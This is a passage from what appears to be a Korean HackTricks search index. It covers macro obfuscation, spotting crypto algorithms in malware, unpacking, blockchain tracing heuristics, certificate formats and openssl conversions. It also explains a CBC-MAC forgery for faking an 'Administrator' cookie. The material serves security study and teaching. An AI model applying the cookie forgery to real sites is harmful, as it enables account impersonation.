있습니다.","breadcrumbs":"Word Macros » Junk Code","id":"10051","title":"Junk Code"},"10052":{"body":"GetObject 함수를 사용하면 매크로의 폼에서 데이터를 얻을 수 있습니다. 이는 분석을 어렵게 만드는 데 사용될 수 있습니다. 다음은 텍스트 상자 안에 데이터를 숨기기 위해 사용되는 매크로 폼 의 사진입니다 (텍스트 상자는 다른 텍스트 상자를 숨길 수 있습니다): tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Word Macros » Macro Forms","id":"10052","title":"Macro Forms"},"10053":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Cryptographic/Compression Algorithms » Cryptographic/Compression Algorithms","id":"10053","title":"Cryptographic/Compression Algorithms"},"10054":{"body":"코드가 shift rights and lefts, xors 및 여러 산술 연산 을 사용하는 경우, 이는 암호화 알고리즘 의 구현일 가능성이 높습니다. 여기서는 각 단계를 역추적할 필요 없이 사용된 알고리즘을 식별하는 방법 을 보여줍니다.","breadcrumbs":"Cryptographic/Compression Algorithms » Identifying Algorithms","id":"10054","title":"Identifying Algorithms"},"10055":{"body":"CryptDeriveKey 이 함수가 사용되면 두 번째 매개변수의 값을 확인하여 어떤 알고리즘이 사용되고 있는지 알 수 있습니다: 가능한 알고리즘과 그에 할당된 값의 표는 여기에서 확인하세요: https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id RtlCompressBuffer/RtlDecompressBuffer 주어진 데이터 버퍼를 압축하고 압축 해제합니다. CryptAcquireContext 문서에서 : CryptAcquireContext 함수는 특정 암호화 서비스 공급자(CSP) 내의 특정 키 컨테이너에 대한 핸들을 획득하는 데 사용됩니다. 이 반환된 핸들은 선택된 CSP를 사용하는 CryptoAPI 함수 호출에 사용됩니다. CryptCreateHash 데이터 스트림의 해싱을 시작합니다. 이 함수가 사용되면 두 번째 매개변수의 값을 확인하여 어떤 알고리즘이 사용되고 있는지 알 수 있습니다: 가능한 알고리즘과 그에 할당된 값의 표는 여기에서 확인하세요: https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id","breadcrumbs":"Cryptographic/Compression Algorithms » API functions","id":"10055","title":"API functions"},"10056":{"body":"때때로 알고리즘을 식별하는 것이 특별하고 고유한 값을 사용해야 하기 때문에 매우 쉽습니다. 첫 번째 상수를 구글에서 검색하면 다음과 같은 결과를 얻습니다: 따라서 디컴파일된 함수가 sha256 계산기 라고 가정할 수 있습니다. 다른 상수를 검색하면 (아마도) 같은 결과를 얻을 수 있습니다.","breadcrumbs":"Cryptographic/Compression Algorithms » Code constants","id":"10056","title":"Code constants"},"10057":{"body":"코드에 중요한 상수가 없으면 .data 섹션에서 정보를 로드하고 있을 수 있습니다 . 해당 데이터에 접근하여 첫 번째 dword를 그룹화 하고 이전 섹션에서 했던 것처럼 구글에서 검색할 수 있습니다: 이 경우 0xA56363C6 를 검색하면 AES 알고리즘의 테이블 과 관련이 있음을 알 수 있습니다.","breadcrumbs":"Cryptographic/Compression Algorithms » data info","id":"10057","title":"data info"},"10058":{"body":"","breadcrumbs":"Cryptographic/Compression Algorithms » RC4 (Symmetric Crypt)","id":"10058","title":"RC4 (Symmetric Crypt)"},"10059":{"body":"3개의 주요 부분으로 구성됩니다: 초기화 단계/ : 0x00에서 0xFF까지의 값 테이블 을 생성합니다(총 256바이트, 0x100). 이 테이블은 일반적으로 Substitution Box (또는 SBox)라고 불립니다. 스크램블링 단계 : 이전에 생성된 테이블을 **반복(loop)**하며 각 값을 반무작위 바이트로 수정합니다. 이 반무작위 바이트를 생성하기 위해 RC4 키가 사용됩니다 . RC4 키 는 1바이트에서 256바이트 사이일 수 있지만, 일반적으로 5바이트 이상이 권장됩니다. 일반적으로 RC4 키는 16바이트입니다. XOR 단계 : 마지막으로 평문 또는 암호문은 이전에 생성된 값과 XOR됩니다 . 암호화 및 복호화 함수는 동일합니다. 이를 위해 생성된 256바이트를 필요에 따라 반복 합니다. 이는 일반적으로 디컴파일된 코드에서 **%256 (mod 256)**으로 인식됩니다. tip 디스어셈블리/디컴파일된 코드에서 RC4를 식별하려면 0x100 크기의 2개의 루프(키 사용)와 입력 데이터를 이전 2개의 루프에서 생성된 256 값과 XOR하는 것을 확인하세요. 아마도 %256 (mod 256)을 사용할 것입니다.","breadcrumbs":"Cryptographic/Compression Algorithms » Characteristics","id":"10059","title":"Characteristics"},"1006":{"body":"bash 2 btc --> 4 btc\\n3 btc 1 btc If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.","breadcrumbs":"Blockchain & Crypto » 예시","id":"1006","title":"예시"},"10060":{"body":"","breadcrumbs":"Cryptographic/Compression Algorithms » Initialization stage/Substitution Box: (카운터로 사용된 숫자 256과 256개의 문자 각각에 0이 어떻게 쓰여졌는지 주목하세요)","id":"10060","title":"Initialization stage/Substitution Box: (카운터로 사용된 숫자 256과 256개의 문자 각각에 0이 어떻게 쓰여졌는지 주목하세요)"},"10061":{"body":"","breadcrumbs":"Cryptographic/Compression Algorithms » Scrambling Stage:","id":"10061","title":"Scrambling Stage:"},"10062":{"body":"","breadcrumbs":"Cryptographic/Compression Algorithms » XOR Stage:","id":"10062","title":"XOR Stage:"},"10063":{"body":"","breadcrumbs":"Cryptographic/Compression Algorithms » AES (Symmetric Crypt)","id":"10063","title":"AES (Symmetric Crypt)"},"10064":{"body":"치환 상자 및 조회 테이블 사용 특정 조회 테이블 값 (상수)의 사용 덕분에 AES를 구별할 수 있습니다 . _ 상수 는 이진 파일에 저장 되거나 동적으로 생성 될 수 있습니다. 암호화 키 는 16으로 나누어 떨어져야 하며(일반적으로 32B) 보통 IV 는 16B가 사용됩니다.","breadcrumbs":"Cryptographic/Compression Algorithms » Characteristics","id":"10064","title":"Characteristics"},"10065":{"body":"","breadcrumbs":"Cryptographic/Compression Algorithms » SBox constants","id":"10065","title":"SBox constants"},"10066":{"body":"","breadcrumbs":"Cryptographic/Compression Algorithms » Serpent (Symmetric Crypt)","id":"10066","title":"Serpent (Symmetric Crypt)"},"10067":{"body":"이 알고리즘을 사용하는 악성 코드를 찾는 것은 드물지만 예시가 있습니다(Ursnif) 길이에 따라 알고리즘이 Serpent인지 여부를 쉽게 판단할 수 있습니다(매우 긴 함수)","breadcrumbs":"Cryptographic/Compression Algorithms » Characteristics","id":"10067","title":"Characteristics"},"10068":{"body":"다음 이미지에서 상수 0x9E3779B9 가 사용되는 것을 주목하세요(이 상수는 TEA - Tiny Encryption Algorithm과 같은 다른 암호 알고리즘에서도 사용됩니다). 또한 루프의 크기 ( 132 )와 디스어셈블리 명령어 및 코드 예제에서의 XOR 연산 수 를 주목하세요: 앞서 언급했듯이 이 코드는 점프가 없기 때문에 어떤 디컴파일러에서도 매우 긴 함수 로 시각화될 수 있습니다. 디컴파일된 코드는 다음과 같이 보일 수 있습니다: 따라서 매직 넘버 와 초기 XOR 를 확인하고 매우 긴 함수 를 보고 긴 함수의 일부 명령어를 구현과 비교 함으로써 이 알고리즘을 식별할 수 있습니다(예: 7로 왼쪽으로 시프트 및 22로 왼쪽으로 회전).","breadcrumbs":"Cryptographic/Compression Algorithms » Identifying","id":"10068","title":"Identifying"},"10069":{"body":"","breadcrumbs":"Cryptographic/Compression Algorithms » RSA (Asymmetric Crypt)","id":"10069","title":"RSA (Asymmetric Crypt)"},"1007":{"body":"공격자는 이전에 사용된 주소로 소량의 비트코인을 보내, 수신자가 향후 거래에서 이를 다른 입력과 결합하기를 희망하여 주소를 연결할 수 있습니다.","breadcrumbs":"Blockchain & Crypto » 강제 주소 재사용","id":"1007","title":"강제 주소 재사용"},"10070":{"body":"대칭 알고리즘보다 더 복잡합니다. 상수가 없습니다! (사용자 정의 구현은 식별하기 어렵습니다) KANAL(암호 분석기)은 RSA에 대한 힌트를 제공하지 않으며 상수에 의존합니다.","breadcrumbs":"Cryptographic/Compression Algorithms » Characteristics","id":"10070","title":"Characteristics"},"10071":{"body":"11번째 줄(왼쪽)에는 +7) >> 3가 있으며, 이는 35번째 줄(오른쪽)과 동일합니다: +7) / 8 12번째 줄(왼쪽)은 modulus_len < 0x040를 확인하고, 36번째 줄(오른쪽)은 inputLen+11 > modulusLen을 확인합니다.","breadcrumbs":"Cryptographic/Compression Algorithms » Identifying by comparisons","id":"10071","title":"Identifying by comparisons"},"10072":{"body":"","breadcrumbs":"Cryptographic/Compression Algorithms » MD5 & SHA (hash)","id":"10072","title":"MD5 & SHA (hash)"},"10073":{"body":"3개의 함수: Init, Update, Final 유사한 초기화 함수","breadcrumbs":"Cryptographic/Compression Algorithms » Characteristics","id":"10073","title":"Characteristics"},"10074":{"body":"Init 상수를 확인하여 두 가지를 식별할 수 있습니다. sha_init에는 MD5에는 없는 1개의 상수가 있습니다: MD5 Transform 더 많은 상수의 사용에 주목하세요.","breadcrumbs":"Cryptographic/Compression Algorithms » Identify","id":"10074","title":"Identify"},"10075":{"body":"데이터의 우발적인 변경을 찾는 기능으로 더 작고 효율적입니다. 조회 테이블을 사용하므로 상수를 식별할 수 있습니다.","breadcrumbs":"Cryptographic/Compression Algorithms » CRC (hash)","id":"10075","title":"CRC (hash)"},"10076":{"body":"조회 테이블 상수 를 확인하세요: CRC 해시 알고리즘은 다음과 같습니다:","breadcrumbs":"Cryptographic/Compression Algorithms » Identify","id":"10076","title":"Identify"},"10077":{"body":"","breadcrumbs":"Cryptographic/Compression Algorithms » APLib (Compression)","id":"10077","title":"APLib (Compression)"},"10078":{"body":"인식할 수 있는 상수가 없습니다. 알고리즘을 파이썬으로 작성하고 온라인에서 유사한 것을 검색해 볼 수 있습니다.","breadcrumbs":"Cryptographic/Compression Algorithms » Characteristics","id":"10078","title":"Characteristics"},"10079":{"body":"그래프는 꽤 큽니다: 인식하기 위한 3가지 비교 를 확인하세요: tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Cryptographic/Compression Algorithms » Identify","id":"10079","title":"Identify"},"1008":{"body":"지갑은 이미 사용된 빈 주소에서 받은 코인을 사용하지 않아야 하며, 이를 통해 개인 정보 유출을 방지해야 합니다.","breadcrumbs":"Blockchain & Crypto » 올바른 지갑 동작","id":"1008","title":"올바른 지갑 동작"},"10080":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 문자열 부족 : 패킹된 바이너리에서 거의 문자열이 없는 경우가 흔합니다. 사용되지 않는 문자열 : 또한, 악성 코드가 상용 패커를 사용하는 경우, 교차 참조가 없는 많은 문자열을 찾는 것이 일반적입니다. 이러한 문자열이 존재한다고 해서 바이너리가 패킹되지 않았다는 의미는 아닙니다. 어떤 도구를 사용하여 바이너리를 패킹하는 데 사용된 패커를 찾을 수 있습니다: PEiD Exeinfo PE Language 2000","breadcrumbs":"Cryptographic/Compression Algorithms » Unpacking binaries » 패킹된 바이너리 식별하기","id":"10080","title":"패킹된 바이너리 식별하기"},"10081":{"body":"IDA에서 패킹된 바이너리를 아래에서 위로 분석하기 시작하세요 . 언팩커는 언팩된 코드가 종료되면 종료되므로 언팩커가 시작할 때 언팩된 코드로 실행을 전달할 가능성은 낮습니다. 레지스터 또는 메모리 의 영역 에 대한 JMP 또는 CALL 을 검색하세요. 또한 인수를 푸시하고 주소 방향을 지정한 다음 retn을 호출하는 함수 를 검색하세요. 이 경우 함수의 반환은 호출하기 전에 스택에 푸시된 주소를 호출할 수 있습니다. VirtualAlloc에 중단점을 설정하세요 . 이는 프로그램이 언팩된 코드를 쓸 수 있는 메모리 공간을 할당합니다. \\"사용자 코드로 실행\\"하거나 F8을 사용하여 함수를 실행한 후 EAX 내부의 값을 가져오세요 . 그런 다음 \\" 덤프에서 해당 주소를 따르세요 \\". 언팩된 코드가 저장될 지역인지 알 수 없습니다. **VirtualAlloc**에 값 \\" 40 \\"을 인수로 사용하면 읽기+쓰기+실행을 의미합니다(여기에 실행이 필요한 코드가 복사될 것입니다). 코드를 언팩하는 동안 여러 호출 을 산술 연산 및 memcopy 또는 Virtual Alloc과 같은 함수에서 찾는 것이 일반적입니다. 만약 산술 연산만 수행하는 함수에 있다면, 함수의 끝을 찾으려고 시도하세요 (아마도 레지스터에 대한 JMP 또는 호출) 또는 최소한 마지막 함수에 대한 호출 을 찾고 그곳으로 실행하세요. 코드가 흥미롭지 않기 때문입니다. 코드를 언팩하는 동안 메모리 영역이 변경될 때마다 주의하세요 . 메모리 영역의 변경은 언팩 코드의 시작 을 나타낼 수 있습니다. Process Hacker를 사용하여 메모리 영역을 쉽게 덤프할 수 있습니다(프로세스 --> 속성 --> 메모리). 코드를 언팩하려고 할 때 이미 언팩된 코드로 작업하고 있는지 아는 좋은 방법 은 바이너리의 문자열을 확인하는 것입니다 . 만약 어떤 시점에서 점프를 수행하고(아마도 메모리 영역을 변경하면서) 더 많은 문자열이 추가된 것을 발견하면 , 언팩된 코드로 작업하고 있다는 것을 알 수 있습니다 . 그러나 패커에 이미 많은 문자열이 포함되어 있다면 \\"http\\"라는 단어가 포함된 문자열의 수를 확인하고 이 숫자가 증가하는지 확인하세요. 메모리 영역에서 실행 파일을 덤프할 때 PE-bear 를 사용하여 일부 헤더를 수정할 수 있습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Cryptographic/Compression Algorithms » Unpacking binaries » 기본 권장 사항","id":"10081","title":"기본 권장 사항"},"10082":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Certificates » Certificates","id":"10082","title":"Certificates"},"10083":{"body":"A public key certificate 는 암호학에서 누군가가 공개 키를 소유하고 있음을 증명하는 디지털 ID입니다. 여기에는 키의 세부정보, 소유자의 신원(주체), 그리고 신뢰할 수 있는 기관(발급자)의 디지털 서명이 포함됩니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하면 키 소유자와의 안전한 통신이 가능합니다. Certificates는 주로 certificate authorities (CAs)에 의해 public-key infrastructure (PKI) 설정에서 발급됩니다. 또 다른 방법은 web of trust 로, 사용자가 서로의 키를 직접 검증하는 방식입니다. Certificates의 일반적인 형식은 X.509 이며, RFC 5280에 설명된 대로 특정 요구에 맞게 조정될 수 있습니다.","breadcrumbs":"Certificates » What is a Certificate","id":"10083","title":"What is a Certificate"},"10084":{"body":"","breadcrumbs":"Certificates » x509 Common Fields","id":"10084","title":"x509 Common Fields"},"10085":{"body":"x509 certificates에서 여러 fields 는 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 다음은 이러한 필드의 분류입니다: Version Number 는 x509 형식의 버전을 나타냅니다. Serial Number 는 인증서를 Certificate Authority의 (CA) 시스템 내에서 고유하게 식별하며, 주로 폐기 추적을 위해 사용됩니다. Subject 필드는 인증서의 소유자를 나타내며, 이는 기계, 개인 또는 조직일 수 있습니다. 여기에는 다음과 같은 자세한 식별 정보가 포함됩니다: Common Name (CN) : 인증서가 적용되는 도메인. Country (C) , Locality (L) , State or Province (ST, S, or P) , Organization (O) , 및 **Organizational Unit (OU)**는 지리적 및 조직적 세부정보를 제공합니다. **Distinguished Name (DN)**는 전체 주체 식별을 캡슐화합니다. Issuer 는 인증서를 검증하고 서명한 사람을 나타내며, CA에 대한 Subject와 유사한 하위 필드를 포함합니다. Validity Period 는 Not Before 및 Not After 타임스탬프로 표시되어 인증서가 특정 날짜 이전이나 이후에 사용되지 않도록 보장합니다. Public Key 섹션은 인증서의 보안에 중요한 부분으로, 공개 키의 알고리즘, 크기 및 기타 기술적 세부정보를 지정합니다. x509v3 extensions 는 인증서의 기능을 향상시키며, Key Usage , Extended Key Usage , Subject Alternative Name 및 기타 속성을 지정하여 인증서의 적용을 세밀하게 조정합니다. Key Usage and Extensions Key Usage 는 공개 키의 암호화 응용 프로그램을 식별하며, 디지털 서명 또는 키 암호화와 같은 용도로 사용됩니다. Extended Key Usage 는 인증서의 사용 사례를 더욱 좁히며, 예를 들어 TLS 서버 인증을 위한 것입니다. Subject Alternative Name 및 Basic Constraint 는 인증서가 적용되는 추가 호스트 이름과 인증서가 CA인지 최종 엔터티 인증서인지를 정의합니다. Subject Key Identifier 및 Authority Key Identifier 와 같은 식별자는 키의 고유성과 추적 가능성을 보장합니다. Authority Information Access 및 CRL Distribution Points 는 발급 CA를 검증하고 인증서 폐기 상태를 확인하는 경로를 제공합니다. CT Precertificate SCTs 는 인증서에 대한 공공 신뢰를 위해 중요한 투명성 로그를 제공합니다. python # Example of accessing and using x509 certificate fields programmatically:\\nfrom cryptography import x509\\nfrom cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file)\\nwith open(\\"cert.pem\\", \\"rb\\") as file:\\ncert_data = file.read()\\ncertificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields\\nserial_number = certificate.serial_number\\nissuer = certificate.issuer\\nsubject = certificate.subject\\npublic_key = certificate.public_key() print(f\\"Serial Number: {serial_number}\\")\\nprint(f\\"Issuer: {issuer}\\")\\nprint(f\\"Subject: {subject}\\")\\nprint(f\\"Public Key: {public_key}\\")","breadcrumbs":"Certificates » Common Fields in x509 Certificates","id":"10085","title":"Common Fields in x509 Certificates"},"10086":{"body":"OCSP ( RFC 2560 )는 클라이언트와 응답자가 협력하여 디지털 공개 키 인증서가 취소되었는지 확인하는 방법으로, 전체 CRL 을 다운로드할 필요가 없습니다. 이 방법은 취소된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 전통적인 CRL 보다 더 효율적입니다. CRL은 최대 512개의 항목을 포함할 수 있습니다. 더 많은 세부정보는 여기 에서 확인할 수 있습니다.","breadcrumbs":"Certificates » OCSP와 CRL 배포 지점의 차이","id":"10086","title":"OCSP와 CRL 배포 지점의 차이"},"10087":{"body":"인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 보이도록 하여 인증서 관련 위협에 대응하는 데 도움을 줍니다. 그 목표는 다음과 같습니다: 도메인 소유자의 지식 없이 CA가 도메인에 대한 SSL 인증서를 발급하는 것을 방지합니다. 실수로 또는 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템을 구축합니다. 사용자들을 사기성 인증서로부터 보호합니다. 인증서 로그 인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능하고 추가 전용 기록입니다. 이러한 로그는 감사 목적으로 암호학적 증거를 제공합니다. 발급 기관과 대중 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만, 전 세계적으로 천 개 미만일 것으로 예상됩니다. 이러한 서버는 CA, ISP 또는 관심 있는 어떤 주체에 의해 독립적으로 관리될 수 있습니다. 쿼리 어떤 도메인에 대한 인증서 투명성 로그를 탐색하려면 https://crt.sh/ 를 방문하세요. 인증서를 저장하는 다양한 형식이 있으며, 각 형식은 고유한 사용 사례와 호환성을 가지고 있습니다. 이 요약에서는 주요 형식을 다루고 이들 간의 변환에 대한 지침을 제공합니다.","breadcrumbs":"Certificates » 인증서 투명성이란 무엇인가","id":"10087","title":"인증서 투명성이란 무엇인가"},"10088":{"body":"","breadcrumbs":"Certificates » 형식","id":"10088","title":"형식"},"10089":{"body":"인증서에 가장 널리 사용되는 형식입니다. 인증서와 개인 키를 위해 별도의 파일이 필요하며, Base64 ASCII로 인코딩됩니다. 일반적인 확장자: .cer, .crt, .pem, .key. 주로 Apache 및 유사한 서버에서 사용됩니다.","breadcrumbs":"Certificates » PEM 형식","id":"10089","title":"PEM 형식"},"1009":{"body":"정확한 지불 금액: 잔돈이 없는 거래는 동일한 사용자가 소유한 두 주소 간의 거래일 가능성이 높습니다. 정수: 거래에서 정수는 지불을 나타내며, 비정수 출력은 잔돈일 가능성이 높습니다. 지갑 지문 인식: 서로 다른 지갑은 고유한 거래 생성 패턴을 가지고 있어 분석가가 사용된 소프트웨어와 잠재적으로 잔돈 주소를 식별할 수 있습니다. 금액 및 시간 상관관계: 거래 시간이나 금액을 공개하면 거래가 추적 가능해질 수 있습니다.","breadcrumbs":"Blockchain & Crypto » 기타 블록체인 분석 기술","id":"1009","title":"기타 블록체인 분석 기술"},"10090":{"body":"인증서의 이진 형식입니다. PEM 파일에서 발견되는 \\"BEGIN/END CERTIFICATE\\" 문이 없습니다. 일반적인 확장자: .cer, .der. 종종 Java 플랫폼과 함께 사용됩니다.","breadcrumbs":"Certificates » DER 형식","id":"10090","title":"DER 형식"},"10091":{"body":"Base64 ASCII로 저장되며, 확장자는 .p7b 또는 .p7c입니다. 개인 키를 제외하고 인증서와 체인 인증서만 포함됩니다. Microsoft Windows 및 Java Tomcat에서 지원됩니다.","breadcrumbs":"Certificates » P7B/PKCS#7 형식","id":"10091","title":"P7B/PKCS#7 형식"},"10092":{"body":"서버 인증서, 중간 인증서 및 개인 키를 하나의 파일에 캡슐화하는 이진 형식입니다. 확장자: .pfx, .p12. 주로 Windows에서 인증서 가져오기 및 내보내기에 사용됩니다.","breadcrumbs":"Certificates » PFX/P12/PKCS#12 형식","id":"10092","title":"PFX/P12/PKCS#12 형식"},"10093":{"body":"PEM 변환 은 호환성을 위해 필수적입니다: x509 to PEM bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem PEM을 DER로 bash openssl x509 -outform der -in certificatename.pem -out certificatename.der DER to PEM bash openssl x509 -inform der -in certificatename.der -out certificatename.pem PEM을 P7B로 bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer PKCS7를 PEM으로 bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem PFX 변환 은 Windows에서 인증서를 관리하는 데 중요합니다: PFX에서 PEM으로 bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem PFX to PKCS#8 는 두 단계로 이루어져 있습니다: PFX를 PEM으로 변환 bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem PEM을 PKCS8로 변환하기 bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 P7B to PFX 또한 두 개의 명령이 필요합니다: P7B를 CER로 변환합니다. bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer CER 및 개인 키를 PFX로 변환하기 bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ASN.1 (DER/PEM) 편집 (인증서 또는 거의 모든 다른 ASN.1 구조에서 작동): asn1template 클론하기 bash git clone https://github.com/wllm-rbnt/asn1template.git DER/PEM을 OpenSSL의 생성 형식으로 변환하기 bash asn1template/asn1template.pl certificatename.der > certificatename.tpl\\nasn1template/asn1template.pl -p certificatename.pem > certificatename.tpl 요구 사항에 따라 certificatename.tpl을 편집하십시오. bash vim certificatename.tpl 수정된 인증서를 재구성합니다. bash openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der\\nopenssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Certificates » 형식 변환","id":"10093","title":"형식 변환"},"10094":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 만약 cookie 가 오직 사용자 이름 (또는 cookie의 첫 부분이 사용자 이름)이고, 당신이 사용자 이름 \\" admin \\"을 가장하고 싶다면, 사용자 이름 **\\"bdmin\\"**을 만들고 첫 바이트 를 브루트포스 할 수 있습니다.","breadcrumbs":"Cipher Block Chaining CBC-MAC » CBC","id":"10094","title":"CBC"},"10095":{"body":"Cipher block chaining message authentication code ( CBC-MAC )는 암호학에서 사용되는 방법입니다. 이 방법은 메시지를 블록 단위로 암호화하며, 각 블록의 암호화는 이전 블록과 연결됩니다. 이 과정은 블록의 체인 을 생성하여 원래 메시지의 단일 비트라도 변경하면 암호화된 데이터의 마지막 블록에서 예측할 수 없는 변화를 초래합니다. 이러한 변화를 만들거나 되돌리기 위해서는 암호화 키가 필요하여 보안을 보장합니다. 메시지 m의 CBC-MAC을 계산하기 위해, m을 제로 초기화 벡터로 CBC 모드에서 암호화하고 마지막 블록을 유지합니다. 다음 그림은 비밀 키 k와 블록 암호 E를 사용하여 블록으로 구성된 메시지의 CBC-MAC 계산을 간략하게 나타냅니다 https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5 : https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png","breadcrumbs":"Cipher Block Chaining CBC-MAC » CBC-MAC","id":"10095","title":"CBC-MAC"},"10096":{"body":"CBC-MAC에서는 일반적으로 사용되는 IV가 0 입니다. 이것은 문제입니다. 왜냐하면 2개의 알려진 메시지(m1과 m2)가 독립적으로 2개의 서명(s1과 s2)을 생성하기 때문입니다. 그래서: E(m1 XOR 0) = s1 E(m2 XOR 0) = s2 그런 다음 m1과 m2가 연결된 메시지(m3)는 2개의 서명(s31과 s32)을 생성합니다: E(m1 XOR 0) = s31 = s1 E(m2 XOR s1) = s32 이는 암호화 키를 알지 않고도 계산할 수 있습니다. 당신이 Administrator 라는 이름을 8bytes 블록으로 암호화하고 있다고 상상해 보십시오: Administ rator\\\\00\\\\00\\\\00 사용자 이름 Administ (m1)를 만들고 서명(s1)을 가져올 수 있습니다. 그런 다음 rator\\\\00\\\\00\\\\00 XOR s1의 결과로 사용자 이름을 만들 수 있습니다. 이것은 E(m2 XOR s1 XOR 0)을 생성하며, 이는 s32입니다. 이제 s32를 전체 이름 Administrator 의 서명으로 사용할 수 있습니다.","breadcrumbs":"Cipher Block Chaining CBC-MAC » Vulnerability","id":"10096","title":"Vulnerability"},"10097":{"body":"사용자 이름 Administ (m1)의 서명 s1을 가져옵니다. 사용자 이름 rator\\\\x00\\\\x00\\\\x00 XOR s1 XOR 0 의 서명 s32를 가져옵니다. cookie를 s32로 설정하면 Administrator 사용자에 대한 유효한 cookie가 됩니다.","breadcrumbs":"Cipher Block Chaining CBC-MAC » Summary","id":"10097","title":"Summary"},"10098":{"body":"사용된 IV를 제어할 수 있다면 